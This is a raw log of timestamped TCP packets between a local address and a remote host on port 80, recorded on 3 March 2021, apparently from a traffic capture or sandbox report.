Mar 3, 2021 07:32:39.220870018 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.221456051 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.221477985 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.221529961 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.221559048 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.221565008 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.221575975 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.221591949 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.221610069 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.221626043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.221642017 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.221662045 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.221668005 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.221683979 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.221695900 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.221704960 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.221723080 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.221755981 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.222290993 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222327948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222357035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222381115 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222404957 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222425938 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222426891 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.222450972 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222471952 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.222476959 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222496986 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222517967 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222527027 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.222539902 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222560883 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222568035 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.222583055 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.222685099 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.223216057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.223243952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.223258972 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.223273039 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.223288059 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.223305941 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.223321915 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.223340034 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.223414898 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289278984 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289319992 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289344072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289365053 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289390087 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289406061 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289428949 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289438963 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289450884 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289474010 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289477110 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289501905 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289515972 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289561987 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289570093 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289613962 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289664984 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289685011 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289704084 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289709091 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289724112 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289745092 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289748907 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289766073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289769888 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289788008 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289798975 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289810896 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289830923 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289849043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289854050 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289870977 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289886951 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289901018 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289911032 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289930105 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.289935112 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.289971113 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.290455103 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290518045 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290534019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290549040 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290572882 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.290581942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290601015 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.290610075 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290628910 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290647030 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290671110 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.290673018 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290704012 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290704012 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.290721893 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290747881 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.290749073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290767908 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.290812016 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.291301966 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291330099 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291356087 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291387081 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.291388035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291403055 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.291428089 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291445017 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291474104 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.291476965 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291496992 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291512012 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291539907 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.291543007 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291562080 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291574955 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.291609049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291610003 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.291625023 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.291683912 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.292280912 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292304993 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292334080 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292360067 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292399883 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292401075 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.292412996 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.292438984 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292458057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292473078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292493105 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.292501926 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292524099 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.292532921 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292550087 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292581081 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.292582035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292599916 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.292623043 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.293211937 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293243885 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293267965 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.293293953 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293312073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293328047 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293354034 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.293356895 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293394089 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293402910 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.293416023 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293437004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293463945 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293466091 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.293492079 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293492079 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.293509007 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293526888 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.293549061 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.293576956 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.294146061 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294173956 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294219971 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.294239998 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294269085 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294285059 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294303894 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294327974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294336081 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.294344902 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294349909 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.294361115 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294378042 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294398069 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294405937 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.294414043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294430017 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.294437885 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.294455051 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.295025110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.295051098 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.295068979 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.295085907 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.295093060 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.295133114 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.357933044 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.357978106 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.357995987 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358014107 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358028889 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358043909 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358061075 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358077049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358094931 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358112097 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358127117 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358128071 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.358141899 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358158112 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358215094 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.358227015 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.358268023 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358288050 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358305931 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358320951 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358330011 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.358334064 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358428001 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.358560085 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358594894 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358623981 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358671904 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358679056 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.358689070 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.358705044 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358738899 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358755112 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358769894 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358787060 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358803988 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358810902 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.358819008 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358835936 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358844995 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.358851910 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.358858109 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.359560966 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.359602928 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.359611034 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.359620094 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.359637022 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.359652042 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.359667063 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.359679937 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.359683037 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.359702110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.359719038 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.359728098 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.359733105 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.359741926 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.359750032 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.359764099 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.359833002 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.359838963 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.360354900 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360395908 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360428095 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360452890 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360469103 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360479116 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.360485077 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360503912 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360517025 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360521078 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.360532999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360542059 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.360548973 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360565901 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360584974 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.360584974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360604048 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.360610008 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.361195087 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.361265898 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361304998 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361320972 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361362934 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361407995 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.361412048 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361432076 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361449003 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361464977 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361471891 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.361480951 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361496925 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361511946 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361521006 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.361527920 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361545086 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.361552954 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.361567020 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.361808062 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.362206936 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362242937 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362281084 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362306118 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362323999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362339020 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362354994 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362363100 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.362370014 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362385988 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362394094 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.362402916 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362417936 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362425089 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.362437963 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362453938 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.362461090 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.362473965 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.363161087 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363221884 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363240004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363257885 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.363266945 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363281965 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363290071 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.363297939 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363312960 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363321066 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.363329887 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363346100 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363352060 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.363360882 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363379955 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363395929 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363410950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.363418102 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.364072084 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364113092 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364145994 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364176035 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.364186049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364202976 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364214897 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.364217997 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364238024 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364253998 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364269018 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364284039 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364290953 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.364299059 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364315033 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364330053 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.364336967 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.364564896 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.365008116 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.365045071 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.365084887 CET	80	49741	172.67.179.188	192.168.2.4
